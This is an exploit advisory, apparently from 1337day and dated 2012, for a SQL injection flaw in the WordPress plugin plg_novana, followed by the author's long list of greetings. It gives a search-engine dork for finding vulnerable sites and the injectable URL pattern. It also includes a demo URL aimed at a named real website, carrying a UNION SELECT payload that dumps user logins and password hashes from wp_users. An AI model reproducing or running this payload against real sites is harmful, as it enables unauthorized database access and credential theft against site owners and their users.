Wordpress Plugin plg_novana Sql Injection Vulnerability

[fayzoun]

# Exploit Title : Wordpress plg_novana plugin Sql Injection  
#  
# Exploit Author : Ashiyane Digital Security Team  
#  
# Discovered By : fayzoun  
#  
# Home : www.ashiyane.org  
#  
#Facebook : http://www.facebook.com/fayzoun.AO  
#  
# Security Risk : High - SQL Injection  
#  
# Dork : inurl:/plugins/plg_novana/novana_detail.php  
#  
##############################################  
#  
# Expl0iTs :  
#  
# [Target]/wp-content/plugins/plg_novana/novana_detail.php?lightbox[width]=700&lightbox[height]=400&id=[sql]  
#  
# D3m0 :  
#  
# http://avenuepattaya.net/wp-content/plugins/plg_novana/novana_detail.php?lightbox[width]=700&lightbox[height]=400&id=-111+union+select+1,2,3,4,5,6,7,8,9,group_concat%28user_login,user_pass%29,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+wp_users--  
#  
***************************************************************  
* Sp Tnx To: Muslims From All Over The World  
* Behrooz_Ice,Q7X,Ali_Eagle,Azazel,iman_taktaz,sha2ow,0x21HATE,A.S.P.I.R.I.N,am118,Angel--D3m0n,angola,AR455,Azadâ„¢,Black-Hole,Classic,Encoder,ERroR,Hashor  
* HASSAN20,HidDeEn,hossein19123,jooooondost,Kaz3m,ll_Invisible_ll,majidflash,megacpu,MehrdadLinux,Milad-Bushehr,MostafaBestMan,MR.SAMAN,Mute,N4H,Pr0grammer,PrinceofHacking  
* Rizux,Rz04,S!YOU.T4r.6T,Sil3nt Di3,The  
Smith,unique2world,Unline,V!T0N,X-HIDDEN-X  
* Crypt0,khatarnak,Milad22,MR.Vinci,Pirjo,V1R4N64R  
* And All Of My Friends  
***************************************************************  
###############################################################   
   
# 1337day.com [2012-11-25]  

Facebook.com/Fayzoun.AO
و السلام